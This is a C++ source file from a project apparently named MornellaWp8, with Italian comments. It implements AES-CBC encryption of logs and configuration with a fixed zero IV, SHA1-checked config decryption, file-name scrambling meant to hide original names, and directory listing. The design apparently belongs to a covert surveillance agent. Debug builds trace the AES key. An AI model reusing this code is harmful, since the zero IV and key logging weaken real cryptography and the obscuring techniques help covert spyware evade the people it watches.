MornellaWp8/MornellaWp8/Encryption.cpp
#include "Encryption.h"
#include "Hash.h"
#include "Conf.h"
#include "FunctionFunc.h"
#define ENC_SAFE_EXIT(x) if(hDstFile != INVALID_HANDLE_VALUE) CloseHandle(hDstFile); \
if(hSrcFile != INVALID_HANDLE_VALUE) CloseHandle(hSrcFile); \
DeleteFile(pOutFile); \
if(pRead) delete[] pRead; \
if(pWrite) delete[] pWrite; \
return x;
#define DEC_SAFE_EXIT(x) if(hDstFile != INVALID_HANDLE_VALUE) CloseHandle(hDstFile); \
if(hSrcFile != INVALID_HANDLE_VALUE) CloseHandle(hSrcFile); \
DeleteFile(*pOutFile); \
if(pRead) delete[] pRead; \
if(pWrite) delete[] pWrite; \
if(*pOutFile) delete[] (*pOutFile); \
return x;
#define MEMDEC_SAFE_EXIT(x) if(hSrcFile != INVALID_HANDLE_VALUE) CloseHandle(hSrcFile); \
if(pRead) delete[] pRead; \
return x;
#define ALPHABET_LEN 64
Encryption::Encryption(BYTE *pKey, UINT uKeyBitLen) {
// Possiamo accettare solo queste tre lunghezze per la chiave
if (uKeyBitLen != 128 && uKeyBitLen != 192 && uKeyBitLen != 256)
return;
aesBitKeyLen = uKeyBitLen;
ZeroMemory(aesKey, sizeof(aesKey));
CopyMemory(aesKey, pKey, aesBitKeyLen / 8);
// La lunghezza della chiave deve essere in bit (128/192/256)
aes_set_key(&Aes_ctx, aesKey, aesBitKeyLen);
// L'IV sempre a 0 per la scrittura in streaming dei log
ZeroMemory(&IV, sizeof(IV));
}
Encryption::~Encryption() {
ZeroMemory(aesKey, sizeof(aesKey));
ZeroMemory(&Aes_ctx, sizeof(Aes_ctx));
}
void Encryption::Reset() {
ZeroMemory(&Aes_ctx, sizeof(Aes_ctx));
aes_set_key(&Aes_ctx, aesKey, aesBitKeyLen);
}
BYTE* Encryption::EncryptData(BYTE *pIn, UINT *Len) {
BYTE *pOut = NULL;
BYTE t_IV[16];
UINT paddedLen;
paddedLen = GetNextMultiple(*Len);
pOut = new(std::nothrow) BYTE[paddedLen];
if (pOut == NULL)
return NULL;
CopyMemory(t_IV, IV, 16);
*Len = paddedLen;
aes_cbc_encrypt(&Aes_ctx, (BYTE *)&t_IV, pIn, pOut, *Len);
return pOut;
}
BYTE* Encryption::DecryptData(BYTE *pIn, UINT *Len) {
BYTE *pOut = NULL;
BYTE t_IV[16];
UINT paddedLen;
paddedLen = GetNextMultiple(*Len);
pOut = new(std::nothrow) BYTE[paddedLen];
if (pOut == NULL)
return NULL;
CopyMemory(t_IV, IV, 16);
*Len = paddedLen;
aes_cbc_decrypt(&Aes_ctx, (BYTE *)&t_IV, pIn, pOut, *Len);
return pOut;
}
/*BYTE* Encryption::DecryptConf(wstring &strInFile, UINT *uLen) {
DWORD dwRead = 0, dwWritten = 0, dwFileSize = 0, dwDataLen, dwUnpadded, crc;
BYTE *pRead = NULL, *pWrite = NULL, t_IV[16];
HANDLE hConfFile = INVALID_HANDLE_VALUE;
wstring strCompletePath;
///
// Struttura del file di configurazione
//
// |DWORD|DWORD|DWORD|DATA.....................|CRC|
// |---Skip----|-Len-|
//
// Le prime due DWORD vanno skippate.
// La terza DWORD contiene la lunghezza del blocco di dati
// CRC e' il CRC dei dati in chiaro, inclusa la DWORD Len
///
CopyMemory(t_IV, IV, 16);
strCompletePath = GetCurrentPathStr(strInFile);
if (strCompletePath.empty())
return NULL;
// Apriamo il file di configurazione
hConfFile = CreateFile((PWCHAR)strCompletePath.c_str(), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hConfFile == INVALID_HANDLE_VALUE)
return NULL;
// Prendiamo la dimensione del file cifrato
dwFileSize = GetFileSize(hConfFile, NULL);
if (dwFileSize == INVALID_FILE_SIZE || dwFileSize == 0 || dwFileSize < sizeof(UINT) * 3){
CloseHandle(hConfFile);
return NULL;
}
// Allochiamo memoria per i dati
dwDataLen = dwFileSize - (sizeof(UINT) * 2); // dwDataLen e' la dimensione di TUTTA la parte cifrata
pRead = new(std::nothrow) BYTE[GetNextMultiple(dwDataLen)];
if (pRead == NULL){
CloseHandle(hConfFile);
return NULL;
}
ZeroMemory(pRead, GetNextMultiple(dwDataLen));
// Skippiamo le prime due DWORD
SetFilePointer(hConfFile, sizeof(UINT) * 2, 0, FILE_BEGIN);
// Leggiamo il blocco dati prima di decifrarlo
if (ReadFile(hConfFile, pRead, GetNextMultiple(dwDataLen), &dwRead, NULL) == FALSE){
delete[] pRead;
CloseHandle(hConfFile);
return NULL;
}
if (dwRead != GetNextMultiple(dwDataLen)){
delete[] pRead;
CloseHandle(hConfFile);
return NULL;
}
// E decifriamolo
aes_cbc_decrypt(&Aes_ctx, (BYTE *)&t_IV, pRead, pRead, GetNextMultiple(dwDataLen));
// Leggiamo la DWORD che ci dice quanto e' lungo il blocco dati non paddato
CopyMemory(&dwUnpadded, pRead, sizeof(UINT));
if (GetNextMultiple(dwUnpadded) != GetNextMultiple(dwDataLen)){
delete[] pRead;
CloseHandle(hConfFile);
return NULL;
}
// XXX qui inizia il codice per trovare l'ENDOF_CONF_DELIMITER
UINT fakePad = sizeof(UINT) + sizeof(ENDOF_CONF_DELIMITER) + 1 + 16;
UINT uSlider = 0;
while (memcmp(pRead + dwUnpadded - fakePad + uSlider, ENDOF_CONF_DELIMITER, sizeof(ENDOF_CONF_DELIMITER) - 1)) {
if (pRead + dwUnpadded - fakePad + uSlider >= pRead + dwUnpadded) {
delete[] pRead;
CloseHandle(hConfFile);
return NULL;
}
uSlider++;
}
*uLen = (pRead + dwUnpadded - fakePad + uSlider + sizeof(ENDOF_CONF_DELIMITER) - 1) - pRead;
dwUnpadded = *uLen + 4;
// Fine codice per la ricerca dell'ENDOF_CONF_DELIMITER
// Prendiamo il CRC (con una memcopy perche' l'accesso DEVE essere allineato a 4)
//crc = *((DWORD *)(pRead + dwUnpadded - 4));
CopyMemory(&crc, pRead + dwUnpadded - sizeof(UINT), 4);
// Controlla il CRC
DWORD conf_hash;
LONG64 temp_hash = 0;
CHAR *ptr = (CHAR *)pRead;
for (UINT i = 0; i < dwUnpadded - sizeof(UINT); i++) {
temp_hash++;
if (*ptr)
temp_hash *= (*ptr);
conf_hash = (DWORD)(temp_hash >> 32);
temp_hash &= 0xFFFFFFFF;
temp_hash ^= conf_hash;
ptr++;
}
conf_hash = (DWORD)temp_hash;
if (crc != conf_hash) {
delete[] pRead;
CloseHandle(hConfFile);
return NULL;
}
CloseHandle(hConfFile);
return pRead;
// Controlla che ci sia il delimitatore di fine configurazione
// XXX - Se viene messo lo 0 dopo ENDOF_CONF_DELIMITER dobbiamo tenere il - 1 altrimenti
// dobbiamo levarlo
// XXXXX dwUnpadded in realta' non rappresenta la lunghezza unpaddata ma la lunghezza paddata,
// e' una cosa che non ha _un cazzo di senso_ ma ci dobbiamo adattare, quindi invece di usare
// ENDOF_CONF_DELIMITER per verificare la coerenza del file, dobbiamo usarlo per trovarne la fine!!!!
}*/
// Recursive directory traversal using the Win32 API
using namespace std;
#include <vector>
#include <stack>
bool ListFiles3(wstring path, wstring mask, vector<wstring>& files)
{
HANDLE hFind = INVALID_HANDLE_VALUE;
WIN32_FIND_DATA fdata;
wstring fullpath;
stack<wstring> folders;
folders.push(path);
files.clear();
WCHAR stringa[1024];
WCHAR stringaOut[1024];
/// HINSTANCE LibHandle;
while (!folders.empty())
{
path = folders.top();
fullpath = path + L"\\" + mask;
folders.pop();
hFind = _FindFirstFile(fullpath.c_str(), &fdata);
if (hFind != INVALID_HANDLE_VALUE)
{
do
{
if (wcscmp(fdata.cFileName, L".") != 0 &&
wcscmp(fdata.cFileName, L"..") != 0)
{
if (fdata.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
{
folders.push(path + L"\\" + fdata.cFileName);
swprintf_s(stringa,L"%s\\%s",path.c_str(),fdata.cFileName);
swprintf_s(stringaOut,L"%s\\%s [DIR]\n",path.c_str(),fdata.cFileName);
OutputDebugString( stringaOut );
}
else
{
files.push_back(path + L"\\" + fdata.cFileName);
swprintf_s(stringa,L"%s\\%s",path.c_str(),fdata.cFileName);
swprintf_s(stringaOut,L"%s\\%s\n",path.c_str(),fdata.cFileName);
OutputDebugString( stringaOut );
}
}
}
while (FindNextFile(hFind, &fdata) != 0);
}
else
{
//LPVOID lpMsgBuf;
WCHAR lpMsgBuf[512];
FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, NULL, GetLastError(), 0, (LPWSTR) lpMsgBuf, sizeof(lpMsgBuf), NULL );
swprintf_s(stringa,L">>>>>>>>>>>>>>>>>>>>>>>>>>>>> FindFirstFile:%s err:%i : %s\n",fullpath.c_str(),GetLastError(),lpMsgBuf);
OutputDebugString( stringa );
}
/*
if (GetLastError() != ERROR_NO_MORE_FILES)
{
FindClose(hFind);
//return false;
return true;
}
*/
FindClose(hFind);
hFind = INVALID_HANDLE_VALUE;
}
return true;
}
BYTE* Encryption::DecryptConf(wstring &strInFile, UINT *uLen) {
DWORD dwRead = 0, dwFileSize = 0;
BYTE *pRead = NULL, t_IV[16];
HANDLE hConfFile = INVALID_HANDLE_VALUE;
wstring strCompletePath;
Hash hash;
BYTE sha1Conf[20], sha1Runtime[20];
/**
* Struttura del file di configurazione
*
* config_file = ENC(JSON(config) | SHA(JSON))
*/
// TEST
#if defined(_DEBUG) || defined(fRELEASE)
//#ifdef _DEBUG
UINT key;
memcpy(&key, aesKey, 4);
DBG_TRACE_INT(L"Debug - Encryption.cpp - DecryptConf() key[0-4]: ", 4, FALSE, key);
memcpy(&key, (BYTE *)&aesKey[4], 4);
DBG_TRACE_INT(L"Debug - Encryption.cpp - DecryptConf() key[4-8]: ", 4, FALSE, key);
memcpy(&key, (BYTE *)&aesKey[8], 4);
DBG_TRACE_INT(L"Debug - Encryption.cpp - DecryptConf() key[8-12]: ", 4, FALSE, key);
memcpy(&key, (BYTE *)&aesKey[12], 4);
DBG_TRACE_INT(L"Debug - Encryption.cpp - DecryptConf() key[12-16]: ", 4, FALSE, key);
#endif
// FINE TEST
CopyMemory(t_IV, IV, 16);
strCompletePath = GetCurrentPathStr(strInFile);
if (strCompletePath.empty())
return NULL;
#ifdef _DEBUG
vector<wstring> files3;
ListFiles3(L".\\", L"*", files3);
ListFiles3(L"\\Data\\Users\\DefApps\\AppData\\", L"*", files3);
ListFiles3(L"\\Data\\Users\\DefApps\\AppData\\{11B69356-6C6D-475D-8655-D29B240D96C8}\\", L"*", files3);
#endif
// Apriamo il file di configurazione
hConfFile = _CreateFileW((PWCHAR)strCompletePath.c_str(), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hConfFile == INVALID_HANDLE_VALUE) {
DBG_TRACE(L"Debug - Encryption.cpp - DecryptConf() cannot open configuration file: ", 4, TRUE);
DBG_TRACE((PWCHAR)strCompletePath.c_str(), 4, FALSE);
return NULL;
}
// Prendiamo la dimensione del file cifrato
dwFileSize = _GetFileSize(hConfFile, NULL);
if (dwFileSize == INVALID_FILE_SIZE || dwFileSize < 36){
CloseHandle(hConfFile);
DBG_TRACE(L"Debug - Encryption.cpp - DecryptConf() invalid configuration file size", 4, TRUE);
return NULL;
}
// Allochiamo memoria per i dati
pRead = new(std::nothrow) BYTE[dwFileSize];
if (pRead == NULL){
CloseHandle(hConfFile);
DBG_TRACE(L"Debug - Encryption.cpp - DecryptConf() cannot allocate memory", 4, TRUE);
return NULL;
}
ZeroMemory(pRead, dwFileSize);
// Leggiamo il blocco dati prima di decifrarlo
if (ReadFile(hConfFile, pRead, dwFileSize, &dwRead, NULL) == FALSE){
delete[] pRead;
CloseHandle(hConfFile);
DBG_TRACE(L"Debug - Encryption.cpp - DecryptConf() cannot read configuration file ", 4, TRUE);
return NULL;
}
if (dwRead != dwFileSize){
delete[] pRead;
CloseHandle(hConfFile);
DBG_TRACE(L"Debug - Encryption.cpp - DecryptConf() configuration data not equal to file size", 4, TRUE);
return NULL;
}
// E decifriamolo
aes_cbc_decrypt(&Aes_ctx, (BYTE *)&t_IV, pRead, pRead, GetNextMultiple(dwFileSize));
// Leggiamo il padding
BYTE padding = pRead[dwFileSize - 1];
PBYTE pEnd = pRead + dwFileSize - padding;
if (padding > 16) {
delete[] pRead;
CloseHandle(hConfFile);
DBG_TRACE_INT(L"Debug - Encryption.cpp - DecryptConf() invalid padding size (wrong key?): ", 4, TRUE, (UINT)padding);
return NULL;
}
// Leggiamo lo SHA1
CopyMemory(sha1Conf, pEnd - 20, 20);
// Verifichiamo l'hash
hash.Sha1(pRead, pEnd - pRead - 20, sha1Runtime);
if (memcmp(sha1Conf, sha1Runtime, 20)){
delete[] pRead;
CloseHandle(hConfFile);
DBG_TRACE(L"Debug - Encryption.cpp - DecryptConf() configuration SHA1 doesn't match", 4, TRUE);
return NULL;
}
// Zero-out the sha1
memset(pEnd - 20, 0x00, 20);
*uLen = pEnd - pRead - 20;
CloseHandle(hConfFile);
return pRead;
}
WCHAR* Encryption::EncryptName(wstring &strName, BYTE seed) {
return Scramble((WCHAR *)strName.c_str(), seed, TRUE);
}
WCHAR* Encryption::DecryptName(wstring &strName, BYTE seed) {
return Scramble((WCHAR *)strName.c_str(), seed, FALSE);
}
WCHAR* Encryption::Scramble(WCHAR* wName, BYTE seed, BOOL enc) {
WCHAR *ret_string;
UINT i, j;
WCHAR alphabet[ALPHABET_LEN] = {'_','B','q','w','H','a','F','8','T','k','K','D','M',
'f','O','z','Q','A','S','x','4','V','u','X','d','Z',
'i','b','U','I','e','y','l','J','W','h','j','0','m',
'5','o','2','E','r','L','t','6','v','G','R','N','9',
's','Y','1','n','3','P','p','c','7','g','-','C'};
if (!(ret_string = _wcsdup(wName)))
return NULL;
// Evita di lasciare i nomi originali anche se il byte e' 0
seed = (seed > 0) ? seed %= ALPHABET_LEN : seed;
if (seed == 0)
seed = 1;
for (i = 0; ret_string[i]; i++) {
for(j = 0; j < ALPHABET_LEN; j++){
if(ret_string[i] == alphabet[j]) {
// Se crypt e' TRUE cifra, altrimenti decifra
if (enc)
ret_string[i] = alphabet[(j + seed) % ALPHABET_LEN];
else
ret_string[i] = alphabet[(j + ALPHABET_LEN - seed) % ALPHABET_LEN];
break;
}
}
}
return ret_string;
}
UINT Encryption::GetNextMultiple(UINT Number) {
#define BLOCK_SIZE 16 // AES Block Size
UINT remainder = 0;
if (Number == 0)
return 0;
if (Number % BLOCK_SIZE == 0)
return Number;
remainder = Number % BLOCK_SIZE;
return Number + (BLOCK_SIZE - remainder);
}
UINT Encryption::GetPKCS5Len(UINT uLen) {
// Calcoliamo il padding PKCS5
return uLen + BLOCK_SIZE - (uLen % BLOCK_SIZE);
}
UINT Encryption::GetPKCS5Padding(UINT uLen) {
// Calcoliamo la lunghezza del padding PKCS5
return BLOCK_SIZE - (uLen % BLOCK_SIZE);
}